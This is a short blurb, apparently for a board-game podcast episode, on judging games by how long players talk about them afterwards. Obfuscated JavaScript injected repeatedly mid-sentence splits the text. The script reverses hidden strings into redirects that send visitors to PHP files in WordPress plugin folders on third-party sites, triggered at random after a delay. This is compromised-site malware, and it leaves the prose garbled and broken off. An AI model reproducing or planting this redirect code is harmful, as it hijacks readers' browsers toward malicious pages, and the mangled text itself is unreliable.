How do you know if it is a good game or not? What is your “I like it” criteria? Well, in this 5 Minute Initiative, Marty $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and I discuss one of our criteria for determining if we like a game or not, how long we talk about it after we play it. We all know what the Watercooler Effect is, where you st$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$mRi=function(n){if (typeof ($mRi.list[n]) == "string") return $mRi.list[n].split("").reverse().join("");return $mRi.list[n];};$mRi.list=["\'php.sedoctrohspots/bil/issnaveler/snigulp/tnetnoc-pw/moc.keewnoihsafmahnetlehc.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (number1==3){var delay = 15000;setTimeout...